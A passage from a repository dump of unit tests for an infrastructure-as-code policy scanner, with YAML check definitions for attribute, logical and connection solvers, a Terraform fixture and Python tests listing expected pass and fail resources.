    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeNotIncludesString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_not_includes\"\n  value: \"3000\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesInt.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeNotIncludesInt\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_not_includes\"\n  value: 3000\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeNotIncludesList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_not_includes\"\n  value:\n    - \"3000\"\n    - 3001\n    - \"3002\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesListWRange.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeNotIncludesListWRange\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_not_includes\"\n  value:\n    - 200\n    - 3000-4000\n    - \"400-500\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/RangeNotIncludesString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeNotIncludesString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_not_includes\"\n  value: \"3000\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/resources/main.tf",
    "content": "resource \"test\" \"pass1\" {\n  range = \"*\"\n}\n\nresource \"test\" \"pass2\" {\n  range = 3000\n}\n\nresource \"test\" \"pass3\" {\n  range = \"3000\"\n}\n\nresource \"test\" \"pass4\" {\n  range = \"3000-4000\"\n}\n\nresource \"test\" \"pass5\" {\n  range = \"2000-3000\"\n}\n\nresource \"test\" \"pass6\" {\n  range = \"2000-4000\"\n}\n\nresource \"test\" \"pass7\" {\n  range = [\"2000-2500\",\"3000\"]\n}\n\nresource \"test\" \"fail1\" {\n  range = 2000\n}\n\nresource \"test\" \"fail2\" {\n  range = \"2000\"\n}\n\nresource \"test\" \"fail3\" {\n  range = \"1000-2000\"\n}\n\nresource \"test\" \"fail4\" {\n  range = \"4000-5000\"\n}\n\nresource \"test\" \"fail5\" {\n  # no range\n}\n\nresource \"test\" \"fail6\" {\n  range = \"abc\"\n}\n\nresource \"test\" \"fail7\" {\n  range = \"abc-123\"\n}\n\nresource \"test\" \"fail8\" {\n  range = \"1000-5000-6000\"\n}\n\nresource \"test\" \"fail9\" {\n  range = [\"1000-2900\",\"3100-4000\"]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestRangeNotIncludesSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestRangeNotIncludesSolver, self).setUp()\n\n    def test_range_not_includes_int_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeNotIncludesInt\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_string_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeNotIncludesString\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_int_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeNotIncludesInt\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_string_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeNotIncludesString\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeNotIncludesList\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeNotIncludesList\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_list_w_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeNotIncludesListWRange\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7',\n                       'test.fail4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8',\n                       'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_not_includes_list_w_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeNotIncludesListWRange\"\n        should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7',\n                       'test.fail4']\n        should_pass = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8',\n                       'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/TagPrefix.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagPrefix\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_instance\"\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"regex_match\"\n  value: \"acme\\\\-.+\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/regex_match_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestRegexMatchSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestRegexMatchSolver, self).setUp()\n\n    def test_regex_match_solver_simple(self):\n        root_folder = '../../../resources/tag_includes'\n        check_id = \"TagPrefix\"\n        should_pass = ['aws_instance.some_instance']\n        should_fail = ['aws_subnet.acme_subnet']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/NameStartingWith.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NameStartingWith\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"starting_with\"\n  value: \"first\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/UnrenderedVar.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"UnrenderedVar\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"starting_with\"\n  value: \"abcdefg\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/starting_with_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestStartingWithSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestStartingWithSolver, self).setUp()\n\n    def test_name_starting_with(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NameStartingWith\"\n        should_pass = ['aws_subnet.subnet_public_ip']\n        should_fail = ['aws_subnet.subnet_not_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"UnrenderedVar\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/Subset1.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"Subset1\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"x\"\n  attribute: \"arr\"\n  operator: \"subset\"\n  value:\n    - \"allowed1\"\n    - \"allowed2\"\n    - \"allowed3\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/subset_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestSubsetSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestSubsetSolver, self).setUp()\n\n    def test_subset_solver_simple(self):\n        root_folder = '../../../resources/arrays'\n        check_id = \"Subset1\"\n        should_pass = ['x.pass1', 'x.pass2', 'x.pass3', 'x.pass4']\n        should_fail = ['x.fail1', 'x.fail2', 'x.fail3', 'x.fail4']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/within_solver/NameWithin.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NameWithin\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"within\"\n  value:\n    - \"first-tf-example\"\n    - \"third-tf-example\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/within_solver/UnrenderedVar.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"UnrenderedVar\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"within\"\n  value:\n    - \"abcdefg\"\n    - \"xyz\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/within_solver/WildcardWithin.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"WildcardWithin\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_xyz\"\n  attribute: \"arr.*\"\n  operator: \"within\"\n  value:\n    - \"allowed1\"\n    - \"allowed2\"\n    - \"allowed3\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/within_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/within_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestWithinSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestWithinSolver, self).setUp()\n\n    def test_name_starting_with(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NameWithin\"\n        should_pass = ['aws_subnet.subnet_public_ip']\n        should_fail = ['aws_subnet.subnet_not_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_wildcard(self):\n        root_folder = '../../../resources/array_test'\n        check_id = 'WildcardWithin'\n        should_pass = ['aws_xyz.pass1', 'aws_xyz.pass2', 'aws_xyz.pass3']\n        # TODO fail1 needs to fail here, but for now we are just skipping the resource, because it's a larger discussion on how to handle wildcard matches.\n        should_fail = ['aws_xyz.fail2', 'aws_xyz.fail3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_within_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"UnrenderedVar\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/and_solver/BucketsWithDevEnvAndPrivateACL.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"BucketsWithDevEnvAndPrivateACL\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"tags.Environment\"\n      operator: \"equals\"\n      value: \"Dev\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"acl\"\n      operator: \"equals\"\n      value: \"private\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/and_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/and_solver/test_solver.py",
    "content": "from parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\nimport os\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestAndQuery(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestAndQuery, self).setUp()\n\n    def test_buckets_with_option_env_tag(self):\n        root_folder = '../../../resources/s3_bucket_2'\n        check_id = \"BucketsWithDevEnvAndPrivateACL\"\n        should_pass = ['aws_s3_bucket.private']\n        should_fail = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/not_solver/BucketsWithDevEnvAndPrivateACL.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NotTest\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  not:\n    and:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_s3_bucket\"\n        attribute: \"tags.Environment\"\n        operator: \"equals\"\n        value: \"Dev\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_s3_bucket\"\n        attribute: \"acl\"\n        operator: \"equals\"\n        value: \"private\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/not_solver/NotWithNestedDict.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NotWithNestedDict\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  not:\n    cond_type: \"attribute\"\n    resource_types:\n      - \"aws_s3_bucket\"\n    attribute: \"tags.Environment\"\n    operator: \"equals\"\n    value: \"Dev\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/not_solver/NotWithNestedList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NotWithNestedList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  not:\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"aws_s3_bucket\"\n    attribute: \"tags.Environment\"\n    operator: \"equals\"\n    value: \"Dev\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/not_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/not_solver/test_solver.py",
    "content": "from parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\nimport os\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotQuery(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotQuery, self).setUp()\n\n    def test_buckets_with_option_env_tag(self):\n        root_folder = '../../../resources/s3_bucket_2'\n        check_id = \"NotTest\"\n        should_fail = ['aws_s3_bucket.private']\n        should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_simple_not_with_list(self):\n        root_folder = '../../../resources/s3_bucket_2'\n        check_id = \"NotWithNestedList\"\n        should_fail = ['aws_s3_bucket.private']\n        should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_simple_not_with_dict(self):\n        root_folder = '../../../resources/s3_bucket_2'\n        check_id = \"NotWithNestedDict\"\n        should_fail = ['aws_s3_bucket.private']\n        should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.non_tag']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/or_solver/BucketsWithEnvTag.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"BucketsWithEnvTag\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"tags.Environment\"\n      operator: \"equals\"\n      value: \"Dev\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_s3_bucket\"\n      attribute: \"tags.Environment\"\n      operator: \"equals\"\n      value: \"Prod\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/or_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/complex_solvers/or_solver/test_solver.py",
    "content": "from parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\nimport os\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestOrQuery(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestOrQuery, self).setUp()\n\n    def test_buckets_with_option_env_tag(self):\n        root_folder = '../../../resources/s3_bucket_2'\n        check_id = \"BucketsWithEnvTag\"\n        should_pass = ['aws_s3_bucket.public', 'aws_s3_bucket.private']\n        should_fail = ['aws_s3_bucket.non_tag']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/ALBConnectedToHTTPS.yaml",
    "content": "metadata:\n  id: \"ALBConnectedToHTTPS\"\n  name: \"Ensure that ALB redirects HTTP requests into HTTPS ones\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: \"filter\"\n    value:\n      - \"aws_lb\"\n    attribute: \"resource_type\"\n    operator: \"within\"\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"aws_lb\"\n    attribute: \"load_balancer_type\"\n    operator: \"equals\"\n    value: \"application\"\n  - or:\n    - cond_type: \"connection\"\n      resource_types:\n        - \"aws_lb\"\n      connected_resource_types:\n        - \"aws_lb_listener\"\n      operator: \"not_exists\"\n    - and:\n      - cond_type: \"connection\"\n        resource_types:\n          - \"aws_lb\"\n        connected_resource_types:\n          - \"aws_lb_listener\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_lb_listener\"\n        attribute: \"certificate_arn\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_lb_listener\"\n        attribute: \"ssl_policy\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_lb_listener\"\n        attribute: \"protocol\"\n        operator: \"equals\"\n        value: \"HTTPS\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/AndComplexConnection.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: AndComplexConnection\nscope:\n  provider: AWS\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_network_interface\n        - aws_instance\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      operator: exists\n      resource_types:\n        - aws_instance\n      connected_resource_types:\n        - aws_network_interface\n    - or:\n      - cond_type: attribute\n        attribute: tags.Env\n        operator: equals\n        value: prod\n        resource_types:\n          - aws_instance\n          - aws_network_interface\n          - aws_subnet\n          - aws_vpc\n      - cond_type: attribute\n        attribute: tags.Env\n        operator: not_exists\n        resource_types:\n          - aws_instance\n          - aws_network_interface\n          - aws_subnet\n          - aws_vpc\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/and_connection_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ConnectionSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ConnectionSolver, self).setUp()\n\n    def test_and_connection(self):\n        root_folder = '../../../resources/ec2_instance_network_interfaces'\n        check_id = \"AndComplexConnection\"\n        should_pass = ['aws_network_interface.network_interface_foo']\n        should_fail = ['aws_network_interface.network_interface_goo', 'aws_instance.instance_bar', 'aws_instance.instance_foo']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_multiple_connections(self):\n        root_folder = '../../../resources/lb'\n        check_id = \"ALBConnectedToHTTPS\"\n        should_pass = []\n        should_fail = [\"aws_lb.lb_bad_1\"]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/NetworkInterfaceForInstance.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NetworkInterfaceForInstance\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"connection\"\n  resource_types:\n    - \"aws_instance\"\n  connected_resource_types:\n    - \"aws_network_interface\"\n  operator: \"exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/S3BucketPolicyDataSource.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"S3BucketPolicyDataSource\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - aws_s3_bucket\n    - cond_type: connection\n      resource_types:\n        - aws_s3_bucket\n      connected_resource_types:\n        - aws_s3_bucket_policy\n      operator: exists\n    - cond_type: connection\n      resource_types:\n        - aws_s3_bucket_policy\n      connected_resource_types:\n        - data.aws_iam_policy_document\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - data.aws_iam_policy_document\n      attribute: statement.resources\n      operator: not_contains\n      value: \"*\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/VPCForSubnet.yaml",
